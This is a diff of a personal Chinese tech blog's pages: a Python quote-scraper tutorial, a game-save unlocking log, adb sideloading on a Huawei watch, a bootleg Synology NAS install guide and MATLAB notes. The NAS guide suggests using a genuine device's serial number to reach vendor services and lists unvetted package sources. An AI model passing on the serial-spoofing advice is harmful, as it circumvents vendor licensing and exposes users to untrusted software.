def create_csv(path):
with open(path,"w+",newline="",encoding="utf8") as file:
# 打开文件,也相当于一个回车,避免覆盖文档
csv_file = csv.writer(file)
head = ["id","sort","hitokoto"] # 创建csv表头
csv_file.writerow(head)
def append_csv(path):
with open(path,"a+",newline='',encoding="utf8") as file:
csv_file = csv.writer(file)
data = [inputs]
csv_file.writerows(data)
+ +

这样我就定义了两个函数,然后在下面直接用这个函数就好了

+

再加上上面写过让用户填入输出路径和爬取次数的相关代码,直接把变量拿过来用就好了

+
1
2
3
4
print("请输入文件输出名(请自行输入后缀,文件以csv的方式保存):")
path=input() # 输出文件
print("请输入抓取的数量,如果要抓取全部请到https://hitokoto.cn/status查看现在的一言总数并填入:")
num=int(input()) # 抓取数量
+ +

将path用于文件的路径,将num用于下面的抓取次数,完美!

+

然后在下面,将抓取到的数据排版一下

+
1
2
3
4
5
6
7
8
9
10
11
data=res.json()
if data["type"]== "a": sorts=("Anime") # 自动把分类码还原为分类
if data["type"]== "b": sorts=("Comic")
if data["type"]== "c": sorts=("Game")
if data["type"]== "d": sorts=("Novel")
if data["type"]== "e": sorts=("Myself")
if data["type"]== "f": sorts=("Internet")
if data["type"]== "g": sorts=("Other")
inputs=[data["id"],sorts,data["hitokoto"]]
# print(res.text) # 输出一言,如需要把最前面的#去掉即可
append_csv(path)
+ +

这样就完成了写入操作!写入csv的操作搞定了以后,最后剩下除掉重复的结果,不然会有很多同样的话,这是最麻烦的部分……

+

开始我的想法是:每次获取到一个结果以后,将id存入存入一个存储变量叫做ids,开始先初始化

+
1
ids=[]
+ +

这样将ids初始化为一个空列表,然后往这个空列表里面加入id,每次遍历一次ids里面的id是否与获取到的id相同,如果相同则说明获取到了重复的话,将这个结果舍弃,然后重新获取

+

将我的重复剔除的功能写出来,就像这样(从之前的commit弄出来的)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ids=['0']
i=1
for i in range(num):
res = r.get('https://international.v1.hitokoto.cn/',timeout=60) # 得到服务器回应,此时回应的内容为json文件(res.text)和状态码
data=res.json() # 将获取到的结果转为json字符串
t=1
for t in range(i):
if data["id"]==ids[t]:
# ID已经存在,即已经抓到过,这地方可能会报BUG,目前没修(数组越限BUG)
break
else:
t=t+1 # 自增
if t==i:
ids.append(data["id"])
if data["type"]== "a": sorts=("Anime") # 自动把分类码还原为分类
if data["type"]== "b": sorts=("Comic")
if data["type"]== "c": sorts=("Game")
if data["type"]== "d": sorts=("Novel")
if data["type"]== "e": sorts=("Myself")
if data["type"]== "f": sorts=("Internet")
if data["type"]== "g": sorts=("Other")
temp=[data["id"],sorts,data["hitokoto"]]
print(res.text)
append_csv(path)
+ +

接着就会发现,运行着运行着,告诉我数组越限了?!!!

+ + +

这个问题就真的很烦,因为C++是允许数组越限的,但是python不允许,会直接冷不丁给你报错,所以每次遇到这个问题我都不是很想去理它,但是不理它我的程序就运行不下去了啊!!!所以我先把检测重复这一段注释掉了,合上垃圾Lenovo,睡觉!

+
+

2020年2月12日 星期三 天气:下雨了啊!

今天早上上课上到11点20分,开始写代码,用一中午想把这个重复检测的功能写完……

+ + +

想到昨天的数组越限就头疼,我打算放弃这个方法,不存列表了!

+

我记得当时在华工有用过像array[t]这样的东西,于是我想起了一个利器——array数组!

+

新的思路是这样的:将得到的数据存入数组名为temp,开始先初始化这个变量:

+
1
2
from array import array
temp = array['i',[0]]
+ +

至于我为什么在里面写一个0,是因为我发现我不这么做的话他会给我报错……

+

这样就初始化了一个名为temp类型为int的数组,里面含有一个元素0。然后在下面每次获取完id以后就将其存入temp变量

+
1
temp.append(data["id"])
+ +

通过这样,每次再遍历temp里面的东西,只要重复,就说明抓过,没重复就说明没抓过,就可以达到去掉重复的效果!

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
for i in range(num):
time.sleep(delay)
print("正在获取新的一言……")
res = r.get('https://international.v1.hitokoto.cn/',timeout=60)
# 得到服务器回应,此时回应的内容为json文件(res.text)和状态码
data=res.json() # 将获取到的结果转为json字符串
temp_minus=temp.count-1
if temp_minus!=0:
t=1
print("正在检测是否抓取过结果……")
for t in range(temp.count):
if(int(data["id"])==temp[t]):
print("发现已经抓取到的结果,正在丢弃……")
i=i-1
break
elif(t==temp.count-1):
print("未抓取过的结果,正在存入文件……")
if data["type"]== "a": sorts=("Anime") # 自动把分类码还原为分类
if data["type"]== "b": sorts=("Comic")
if data["type"]== "c": sorts=("Game")
if data["type"]== "d": sorts=("Novel")
if data["type"]== "e": sorts=("Myself")
if data["type"]== "f": sorts=("Internet")
if data["type"]== "g": sorts=("Other")
inputs=[data["id"],sorts,data["hitokoto"]]
# print(res.text) # 输出一言,如需要把最前面的#去掉即可
append_csv(path)
temp.append(data["id"])
end_Pro=datetime.datetime.now()
print("已完成数量:"+str(i+1)+',已经用时:'+str(end_Pro-start_Pro))
break
else:
if data["type"]== "a": sorts=("Anime") # 自动把分类码还原为分类
if data["type"]== "b": sorts=("Comic")
if data["type"]== "c": sorts=("Game")
if data["type"]== "d": sorts=("Novel")
if data["type"]== "e": sorts=("Myself")
if data["type"]== "f": sorts=("Internet")
if data["type"]== "g": sorts=("Other")
inputs=[data["id"],sorts,data["hitokoto"]]
# print(res.text) # 输出一言,如需要把最前面的#去掉即可
append_csv(path)
temp.append(data["id"])
end_Pro=datetime.datetime.now()
print("已完成数量:"+str(i+1)+',已经用时:'+str(end_Pro-start_Pro))
+ +

最后写出来的效果是这样子的,然后问题又出来了,我的temp.count似乎不能被它正确识别出来,于是我打开了一个新的文档,测试一下这个玩意输出长什么样子:

+

Output3

+

emmmm,这是啥???

+ + +

然后我又去求助万能的百度,网友们告诉我可以用len(temp)来获得数组的元素个数,然后我就把这玩意改了,终于可以运行了!!!接着问题又来了。。。

+

Output4

+

这是???这怎么不连续啊,这数字???我想到可能是抓到重复的时候算抓了,就导致了i+1(不过这次测试挺非的,这么多次一样。。。非到极致也是一种欧!)

+

后来我试试加一个i=i-1在相应位置,结果还是不行,我就想到可能是局部变量改不动???

+

我就自己定义一个变量,用while循环呗……然后我就改用while循环

+

这下终于可以了,抓到的结果没有抓到重复的(因为中途连接超时导致程序停止运行了,所以只抓了2159条,本来是想把整个一言库抓完的,点我下载2159条数据,请用UTF8解码后保存为gbk才能在Excel上查看哦

+

终于搞定啦!!!这个项目终于能够按照期望运行了!

+

接下来要解决的问题:

+
    +
  • json配置文件支持
  • +
  • GUI支持
  • +
+
+

题外话:

这是我第一次做爬虫,把学到的python技术用出来。项目已经上传到https://github.com/GamerNoTitle/Hitokoto-Spider

+

有人愿意与我一起做项目我也非常开心,希望大家能够活用此项目,不要再用什么八爪鱼抓一言了,那种要VIP的软件对我们这种程序员来说一点也不友好,还不如自己来……

+
+

2020年2月16日 星期日 天气:还是下雨天……

今天晚上,我对爬虫进行了优化,之前我上面就说过要提供json配置文件的支持,今天的目标就是这个!走起!

+

首先,要新建一个json文件,里面包含的参数如下:

+
1
2
3
4
5
6
7
8
9
10
{
"path": "Hitokoto.csv", //文件输出路径
"times": 3, // 抓取次数
"delay": 0, // 抓取延迟,针对一言的QPS设置
"timeout": 60, // 连接超时时间(单位:秒)
"from": false, // 来自什么作品
"from_who": false, // 来自谁
"creator": false, // 哪位用户提交的
"created_at": false // 何时提交
}
+ +

其中,文件输出路径是str变量,抓取次数、抓取延迟、抓取超时都是int变量,from、from_who、creator、created_at都是bool型变量,这就表示它只支持true和false

+

搞定config文件的内容后,反过来对代码进行添加,定义一个读取json文件的函数,命名为read_config()

+
1
2
3
4
def read_config():
with open("config.json") as json_file:
config = js.load(json_file)
return config
+ +

这样,我使用conf = read_config()就可以获得文件中的所有内容,文件读出来的结果应该是这样的(如图)

+

json read

+

把程序再美化一下,运行后发现,出了BUG

+

from_who KeyError

+

KeyError???WTF???你不是能正常读入的呢嘛?这又是个什么鬼错误……

+

上网搜索说是读不到相关的东西,不在字典中,我就想在上面提前置顶from_who的值,但是一言返回的结果里面的东西我也修改不了啊……所以还是要解决KeyError的问题

+

上网一搜,全部都是用dict导致的问题。我寻思:我怎么也没有操作字典吧。。。

+

算了,先上传吧,明天再修复from_who的BUG……

+

我的友人表示想建立一个一言的镜像站,所以要求我把其他的参数给加上,我先加吧……

+

尴尬……又出现了KeyError的问题,这次是creator_uid和reviewer,算了明天弄吧……睡觉!

+

2020年2月17日 星期一 天气:晴天

今天早上起来,换了台电脑,还是有keyerror的错误,然后去问了一下大学导师,他告诉我是data里面没有这个key的项的问题,然后我又倒回去看发现,上面提到的三个数值有些结果是没有使用双引号括起来的,基本都写的null或者是0,这样就导致data里面没有这个key,进而导致keyerror

+

所以我是打算用try和except这两个东西进行解决。

+

在代码里稍作修改,加入try和except

+
1
2
3
if(conf["from_who"] == True): 
try: inputs.append(data["from_who"])
except KeyError: inputs.append("null")
+ +

在会报KeyError错误的地方都进行这样的修改,然后进行调试

+

KeyError Fixed

+

终于可以啦!!!推送代码,项目完成!

+

接下来就是要加入GUI支持了,但是我其实不是很会做GUI,所以说别抱太大希望,很有可能鸽掉……

+

白咕咕

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Hitokoto-Spider/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/ID-History/index.html b/posts/ID-History/index.html new file mode 100644 index 0000000000..054c431765 --- /dev/null +++ b/posts/ID-History/index.html @@ -0,0 +1,314 @@ +日常吐槽10:为什么我叫做"GamerNoTitle"? | GamerNoTitle + + + + + + + + + + + + + + + +

日常吐槽10:为什么我叫做"GamerNoTitle"?

总有人问我:为啥你叫XXX呀?那么我今天就来告诉你们我的这些ID都是怎么来的

+

(每个ID的故事用一个标题分割,可以在目录中快速找到)

+

bilibiliMeowMiku

这个主要是因为最开始我在玩CODOL(tx打钱)的时候,本来我在华东大区,当时因为活动挤不进去,当时我本来也就是为了活动上线的,既然挤不进去我也没办法,然后我同学(小学的)就说其他区也可以,但是我其他区没创号,然后就要起ID。我当时很烦恼,本来也就不擅长这种事情,然后我同学说:“那你就叫‘喵呜初音’吧!”然后我也很老实地打了上去,从此以后就出现了喵呜初音这个ID,我所有的国内的软件、游戏的ID都是这个。因为B站也写的这个,而外面的游戏和网站要求的用户名不能用中文,然后就用MeowMiku,但是这个ID早就被注册了,所以前面加上bilibili就变成了bilibiliMeowMiku

+

FutureCode

这个主要是用惯了上面的ID发现太长了,然后就想换一个ID。当时B站在微软商店的公司名称是上海未来代码科技有限公司,然后我就把未来代码拿下来用变成了FutureCode,然后就用上了

+

FutureCompile

这个是因为FutureCode太多人用了导致重名,就把Code改成了Compile(编译)

+

Gamer.bili

这个是我在高一的时候开始用的,因为当时一直在玩游戏,所以感觉给自己冠以Gamer的头衔好像没什么问题,然后还是出于对B站的热爱,就在点后面加了bili的字样

+

GamerNoTitle

这个是从Gamer.bili变过来的,当时很喜欢听一首歌叫做NoTitle(放在这行的下面)

+ +
+

+        
+ + +

然后就把bili改成了NoTitle,成了我最常用的ID

+

更多ID?

以后再更……

+
Author: GamerNoTitle
Link: https://bili33.top/posts/ID-History/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/INVAXION-Unlock-Log/index.html b/posts/INVAXION-Unlock-Log/index.html new file mode 100644 index 0000000000..8dc15cf81e --- /dev/null +++ b/posts/INVAXION-Unlock-Log/index.html @@ -0,0 +1,323 @@ +音灵INVAXION解锁工具制作全纪录 | GamerNoTitle + + + + + + + + + + + + + + + + +

音灵INVAXION解锁工具制作全纪录

+

PS:音灵解锁补丁是我在高考前1个月左右的时候摸的,具体可以看Commit记录√

+
+

+

音灵在2021.2.5宣布停运,我直到五月左右上游戏的时候才发现,我卡在了加载页面,翻了一下讨论区才发现,游戏停运了

+

+

但是我还在讨论区里找到了这个

+

+

然后我就下了这个使用了,发现,诶,我的铺面确实全解锁了,于是我开始了我的星舰解锁工具和角色解锁工具的制作

+
+

星舰这个东西,我翻了一下我自己的存档(在注册表)

+

注:本图是解锁完成后的注册表

+

发现数字都在个位数,而我数了一下星舰的数量是13,我就在想,星舰的编号是不是从1~13,然后我就开始了我的解锁之旅

+

一开始我先将里面的内容换成了

+
1
[{"themeID":1},{"themeID":2},{"themeID":3},{"themeID":4},{"themeID":5},{"themeID":6},{"themeID":7},{"themeID":8},{"themeID":9},{"themeID":10},{"themeID":11},{"themeID":12},{"themeID":13}]
+ +

这样一长串(拿Python生成的,毕竟我可不想一个一个打)

+

转成Hex就变成了

+
1
5b,7b,22,74,68,65,6d,65,49,44,22,3a,31,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,32,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,33,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,34,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,35,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,36,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,37,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,38,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,39,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,31,30,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,31,31,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,31,32,7d,2c,7b,22,74,68,65,6d,65,49,44,22,3a,31,33,7d,5d
+ +

然后导入注册表,接着发现

+

爷进不了离线模式了……

+

有点崩溃,一开始还以为是思路有问题,先恢复了一下(谁在操作存档的时候不备份呀)

+

恢复以后再次打开注册表发现:themeId不是themeID

+

哎呀犯了一个低级错误,重新来

+

将所有的ID改成Id重新导入,诶成了,但是巨蟹号(最后含金量的主题)没有解锁

+

然后试了一下ID0和ID14,终于搞定了,ID14是巨蟹号的

+

人物当然也一样啦,但是人物那么多,而且ID还不是像主题这样连着的

+

注:本图是解锁完成后的注册表

+

我就去翻了一下文件,在音灵 INVAXION\INVAXION_Data\StreamingAssets这个目录下找到了所有的角色文件,在文件名上附有ID

+

+

再次掏出工具(Python),生成对应的列表,然后导入,果然不出所料,所有角色都已经解锁了

+

接着打包,发布在Steam社区,在Github配布文件,搞定√

+

星舰解锁:https://steamcommunity.com/app/921630/discussions/0/3150808675338262041

+

人物解锁:https://steamcommunity.com/app/921630/discussions/0/3150808675345244413

+

铺面解锁(不是我做的,但是是我参考的):https://steamcommunity.com/app/921630/discussions/0/5350815203296872967/

+

存档配布(只打了全铺面,我的个人存档):https://steamcommunity.com/app/921630/discussions/0/3130541756147189784/(中文)

+

https://steamcommunity.com/app/921630/discussions/0/3150808588793019131/(英文)

+

要是你有Steam点数可以稍微给我打赏一点,谢谢老板(*^▽^*)

+
Author: GamerNoTitle
Link: https://bili33.top/posts/INVAXION-Unlock-Log/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/Install-apk-on-HUAWEI-Watch-Pro-3/index.html b/posts/Install-apk-on-HUAWEI-Watch-Pro-3/index.html new file mode 100644 index 0000000000..285cc8b14f --- /dev/null +++ b/posts/Install-apk-on-HUAWEI-Watch-Pro-3/index.html @@ -0,0 +1,292 @@ +在华为Watch Pro 3上面安装第三方应用 | GamerNoTitle + + + + + + + + + + + + + + + +

在华为Watch Pro 3上面安装第三方应用

我身边老多人用智能手表了,OPPO Watch 2 已经见怪不怪了,这不又来了个HUAWEI Watch Pro 3手表,说请我帮他装点软件。说白了手表装软件不就adb嘛能有啥,既然结了这活,那就干吧(因为忘记拍照了,所以本文应该是全文字)

+

华为手表用的是鸿蒙系统,一开始我还在担心会不会没有adb调试的功能,等我按照正常操作(关于,版本号连点5下,开发者选项)后,看到开发者选项里面没有adb调试这个选项,取而代之的是什么HDC调试(我猜是华为自己的一种调试模式),实际测试这个HDC调试跟adb调试好像是一个东西?用abd都能够连接

+

使用adb connect ip:port进行连接,我一开始天真的以为直接adb install就可以了,当我这么操作的时候,这傻逼系统告诉我说不允许通过adb安装应用,我翻了翻开发者选项,没有平常的通过adb安装应用的开关,上网搜了一下说com.android.packageinstaller这个应用包会禁止安装应用,所以要先关掉,装完要开回来(不然会变砖头)

+

所以就很简单啦,在安装之前我们先关掉这个应用包,安装完后打开即可

+

这里有个坑:华为手表连接WIFI会在锁屏的时候自动断开连接,所以搞得我好多次快要装完了,结果一个锁屏GG

+

我们可以使用以下命令进行应用的安装

+
1
2
3
4
5
adb disconnect
adb connect <手表的IP地址:端口(一般是5555)>
adb shell pm disable-user com.android.packageinstaller
adb install <apk路径>
adb shell pm enable com.android.packageinstaller
+ +

安装完后就应该能在手表的启动器中找到安装的应用了。

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Install-apk-on-HUAWEI-Watch-Pro-3/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/Install-black-synology-NAS-on-previous-PC/index.html b/posts/Install-black-synology-NAS-on-previous-PC/index.html new file mode 100644 index 0000000000..9366c7457f --- /dev/null +++ b/posts/Install-black-synology-NAS-on-previous-PC/index.html @@ -0,0 +1,317 @@ +在小霸王电脑上安装黑群晖 | GamerNoTitle + + + + + + + + + + + + + + +

在小霸王电脑上安装黑群晖

因为最近想看番,然后发现嗶哩嗶哩没有买几部番(如何看嗶哩嗶哩请见这里),就想着能不能直接用qbitorrent那一套自动订阅,但是吧,自己的电脑又不是天天开着,而且用来下番,游戏啥的还打不打了。这不转个头看到家里闲置的ASUS X455LD笔记本,就想着在上面按个黑群晖

+

下载并刷入引导

这里用到的是Github上的一个项目:fbelavenuto/arpl: Automated Redpill Loader (github.com)

+

+

因为我是安装在物理机上面,所以下的是那个带 img tag的文件,剩下两个VM的是给虚拟机用的

+

下载后解压,然后掏出我们的老朋友balenaEtcher来把img文件写入U盘(我这个U盘也是个小霸王,金士顿的经典DT 101 G2)

+

+

通过引导来编译WIFI固件

我们将U盘插入电脑,然后从U盘启动(记得关掉Secure Boot,我第一次没启动成功然后发现是忘记关Secure Boot了),在这里建议把网线插上,因为这个配置的过程中是不会配置WIFI的

+

启动的过程中,如果有弹出启动菜单,就直接选择Configure Bootloader就好了,然后会进入配置向导

+

+

获取到了IP以后,可以在其他电脑上输入这个地址进入配置,也可以直接输入menu.sh开始配置(我这里因为没有网线所以是插了手机用USB网络共享的)

+

我这里是直接输入menu.sh进去了,进入menu后我们从上到下依次来

+

选择型号

这个程序会自动列出你的电脑可用的群晖型号,我这里给我列出了很多

+

+

选适合自己的就行了,我这里选了DS3615xs(后面换成DS320+了),这里要记住后面的那个字符串,在下载系统的时候会用到

+

选择版本

Choose a Build Number里面,我们需要选择一个群晖的版本号,我直接选择了最新的42962,这个版本号要先记住,后面要用

+

选择序列号

在这个主要是你要不要洗白的问题,要洗白的话就要用白群晖的序列号,我这里是DS3615xs,所以用一个DS3615xs的序列号就可以了,这里我就随机生成一个了

+

洗白参考:黑群晖洗白介绍:可以让大家使用白群的Quickconnect - 知乎 (zhihu.com)

+

开始编译

弄完上面这三个,除非你有更多的自定义,否则直接选择Build the loader进行编译就可以了,接着电脑就会自动联网进行资源下载,然后编译,这个过程要等

+

编译好了以后,如果你的光标停在了Switch direct boot: false上面,按下回车,调成true(没有就不管),然后选择Boot the loader,然后手动重启一下电脑(直接输入reboot就行了,如果无法输入就长按电源键,在这里开始就不推荐使用手机插上去USB网络共享的方法了,因为手机的USB网络共享跟手机的WIFI共享不是一个网域的,会访问不到)

+

启动完成

启动好了以后,我们记住屏幕显示的IP地址,进入下一节

+

安装系统

首先你要去群晖官网下载一个系统Synology Archive Download Site - Index of /download/Os/DSM

+

在这里选择你要下载的版本(系统版本号后面带-的是小更新,我们要选择不带-的)

+

在这里搜索在型号选择那一节让你记住的字符串,把系统下载下来

+

+

然后链接我们的黑群晖(开个浏览器访问IP就行),进入设置向导,安装系统的时候把你的系统导入进去安装就行了

+

+

更新后会自动重启,这个开机可能会有点慢,实测我的开机用了2:25

+

安装套件

在群晖里有套件中心,你可以根据需要来安装你所需要的软件,当然你也可以SSH链接进去,不过群晖是没有apt的,尽管他是Ubuntu衍生

+

在套件中心,一开始里面的东西会非常少,因为官方没有给我们提供足够的套件,我们可以加入第三方套件源(套件源在下面,安全性不保证,来源于网络)

+
1
2
3
4
5
6
7
8
1.packages:http://packages.synocommunity.com/?beta=1
2.KS7.0SPK:https://spk7.imnks.com/
3.ACMENet: http://synology.acmenet.ru
4.communitypackage hub:http://www.cphub.net
5.Cambier:https://synology.cambier.org/
6.Dierkse:http://syno.dierkse.nl/
7.FileBot:https://get.filebot.net/syno/
8.Hildinger:http://www.hildinger.us/sspks/
+ +

点开套件中心,点击设置,然后添加自己的套件源就行了

+

+

添加完了以后,左边会有一个社群,在社群里面就能找到来自第三方软件源的套件了

+

结尾

黑群晖其实玩玩就好,具体的数据稳定性其实不太确定,因为这个东西毕竟不太稳定(我高一那年弄黑群晖就是数据火葬场),建议用SSH的时候不要乱捣鼓,省的系统崩了

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Install-black-synology-NAS-on-previous-PC/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/MATLAB20211125/index.html b/posts/MATLAB20211125/index.html new file mode 100644 index 0000000000..3d232c54a8 --- /dev/null +++ b/posts/MATLAB20211125/index.html @@ -0,0 +1,330 @@ +MATLAB学习笔记 20211125 | GamerNoTitle + + + + + + + + + + + + + +

MATLAB学习笔记 20211125

变量类型

注:使用class(x)可以获得x变量的类型

+

整型

位数有8、16、32、64位

+

无符号型uint8(x),范围是02^8-1 (0000000011111111)

+

有符号型int8(x),范围是-2^72^7-1 (1000000001111111)

+

典例:

x = int8(129) 输出 x=127 (超出了范围)

+

x = uint8(129) 输出 x=129

+

浮点型

分为单精度(single,4bytes)和双精度(double,8bytes),默认为双精度

+

single(x) 转为单精度型 double(x) 转为双精度型

+

复型

(其实就是复数,与Python差不多)

+

a+bi or a+bj(i与j一样)

+

使用real函数求得实部,imag函数求得虚部

+

输出格式

format命令,使用方法为format 变量类型,只影响数据的输出格式而不影响计算和存储

+

回到默认输出格式的话直接使用format即可

+

常用数学函数

函数运算规则

函数的自变量规定为矩阵变量,也可以是标量(为矩阵的一种特例),运算时将函数逐项作用于矩阵每个元素上,输出结果为矩阵

+

数学函数

三角函数类sin(x)(x为弧度)sind(x)(x为角度)

+

exp(x) 对x进行e^x的运算

+

应用

三角函数

以弧度为单位则直接使用,以角度为单位则要在后面加d,例如

+

sin(radian) & sind(degree)

+
绝对值

就是abs(x),与python一样,但是有种特殊用法是求字符串的ASCII码

+

例如abs('a')会输出97

+
取整函数

与C++有点类似

+

round(x)进行四舍五入取证

+

celi(x)进行向上取整

+

floor(x)进行向下取证

+

fix(x)舍去小数取整(实际上是取距离0近的那个数)

+
计算函数

rem(x,y) 求余函数,x为被除数,y为除数

+

isprime(n) 判断n是否为素数,TRUE则返回1,FALSE则返回0

+

向量生成

x=1:100 将1~100组成的所有整数作为向量赋给x

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
x = 1:100
x

[output]
x =

125

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25

2650

26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50

5175

51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75

76100

76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100

+ +

x=find(n)

+

find()函数的功能是找到向量或者矩阵中不为0的元素

+

典例:求[1,100]间的所有素数

1
2
3
4
5
6
7
8
9
10
11
12
13
x=1:100;
k=isprime(x);
k1=find(k);
p=x(k1)
p =

124

2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89

25

97
+ +
+

开始学习MATLAB了,因为上网不太方便所以部署应该是几天的笔记一起部署

+
+

变量及其操作

变量命名:开头为字母(不能是下划线),可用字母、下划线、数字,长度最大为63字符,大小写敏感

+

函数/命令命名:遵循变量命名的同时要求全小写

+

赋值

最基础的直接用变量名=表达式即可,但是如果直接写表达式,那么就会直接赋给MATLAB的变量ans,如果在变量名=表达式后面加分号变成变量名=表达式;,那么则不会输出变量名的值

+

默认赋值变量

变量名为ans,如果直接输入表达式,那么值会直接被赋值给ans

+

预定义变量

ans 默认赋值变量

+

i j 虚数单位

+

pi 圆周率

+

NaN 非数

+

变量的管理

1、在工作区窗口可以对内存进行管理(删除和修改)

+

2、使用who或者whos可以看到变量(前者只显示名称,后者会给出大小、内容、类型等)

+

变量的导出/导入

文件格式为.mat,可以保存工作区变量

+

使用save 文件名 变量名 ...来保存变量、load 文件名来载入变量

+
Author: GamerNoTitle
Link: https://bili33.top/posts/MATLAB20211125/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/MATLAB20211126/index.html b/posts/MATLAB20211126/index.html new file mode 100644 index 0000000000..f2dfc23051 --- /dev/null +++ b/posts/MATLAB20211126/index.html @@ -0,0 +1,380 @@ +MATLAB学习笔记 20211126 | GamerNoTitle + + + + + + + + + + + + + +

MATLAB学习笔记 20211126

矩阵

矩阵的建立

用中括号括起来,按矩阵行的顺序输入各元素,同一行的用逗号,或者空格 分割,不同行的用分号分割

+

例如:

+
1
2
3
4
5
6
7
8
a = [1 2 3; 4 5 6; 7 8 9]

[output]
a =

1 2 3
4 5 6
7 8 9
+ +

矩阵可以利用已建好的矩阵来建立更大的矩阵,例如

+
1
2
3
4
5
6
7
8
9
10
11
12
13
A = [1 2 3; 4 5 6; 7 8 9];
B = [-1 -2 -3; -4 -5 -6; -7 -8 -9];
C = [A, B; B, A]

[output]
C =

1 2 3 -1 -2 -3
4 5 6 -4 -5 -6
7 8 9 -7 -8 -9
-1 -2 -3 1 2 3
-4 -5 -6 4 5 6
-7 -8 -9 7 8 9
+ +

可以用实部矩阵和虚部矩阵构成虚部矩阵,例如

+
1
2
3
4
5
6
7
8
9
B = [1 2 3; 4 5 6];
C = [6 7 8; 9 10 11];
A = B + i * C

[output]
A =

1.0000 + 6.0000i 2.0000 + 7.0000i 3.0000 + 8.0000i
4.0000 + 9.0000i 5.0000 +10.0000i 6.0000 +11.0000i
+ +

冒号表达式

可以使用冒号表达式来建立行向量(矩阵的特殊类型)

+

格式为e1:e2:e3e1为初始值,e2为步长,e3为终止值,跟Python的range(Start, End, Step)有点相似,只不过终止值和步长换了位置,在冒号表达式中,e2可以不写,那步长就默认为1,即t = 0:1:5 = t = 0:5

+

例如:

+
1
2
3
4
5
6
t = 0:1:5

[output]
t =

0 1 2 3 4 5
+ +

linspace函数

可以用于产生行向量,用法为linspace(a,b,n)a是第一个元素,b是第二个元素,n是元素总数,当n省略时,其缺省值为100(跟numpynumpy.linspace(Start, End, Count)用法一样,只不过numpy的缺省值是50

+

结构矩阵(struct)

感觉有点类似制表,使用格式为结构矩阵元素.成员名 = 表达式,这里还是给出个例子

+
1
2
3
4
5
6
7
8
9
10
11
12
a(1).x1 = 10;a(1).x2 = 'liu'; a(1).x3 = [1 2 3];
a(2).x1 = 20;a(2).x2 = 'wang'; a(2).x3 = [4 5 6];
a

[output]
a =

包含以下字段的 1×2 struct 数组:

x1
x2
x3
+ +

在变量浏览器里面可以看到这个a变量长这样

+ + + + + + + + + + + + + + + + + + + + + +
x1x2x3
110‘liu’[1,2,3]
220‘wang’[4,5,6]
+

单元矩阵

建立方法:使用大括号{}将元素括起来,所有元素可以是不同类型的数据,例如:

+
1
2
3
4
5
6
7
8
9
10
b = {10 'liu' [1 2 ; 4 5]; 20, 'wang' [6 7 ; 9 10]}

[output]
b =

2×3 cell 数组

{[10]} {'liu' } {2×2 double}
{[20]} {'wang'} {2×2 double}

+ +

在变量浏览器里面可以看到b变量长这样(就是真正的表格了,没有x1,x2,x3这种头头索引)

+ + + + + + + + + + + + + + + + + + + + + +
123
110‘liu’[1,2;4,5]
220‘wang’[6,7;9,10]
+

矩阵元素的使用

引用方式

下标法

使用变量名(位置)来索引,例如:

+

A(3,2)表示A矩阵第3行第2列的位置,同样可以通过该方式修改矩阵中的元素,例如:

+

A(3,2) = 100就是将A矩阵第3行第2列的元素修改为100

+
实例
1
2
3
4
5
6
7
8
9
10
A = [1 2 3; 4 5 6];
A(5,5) = 10

A =

1 2 3 0 0
4 5 6 0 0
0 0 0 0 0
0 0 0 0 0
0 0 0 0 10
+ +

当给出的行和列的下表超出了矩阵的行数和列数,那将会自动扩展原来的矩阵并将为赋值元素自动赋值为0

+

序号法

序号就是元素在矩阵的排列顺序,存储顺序是第一列->最后一列(不是我们习惯性的行),例如:

+
1
2
3
4
5
6
7
A = [1 2 3; 4 5 6];
A(3)

[output]
ans =

2
+ +

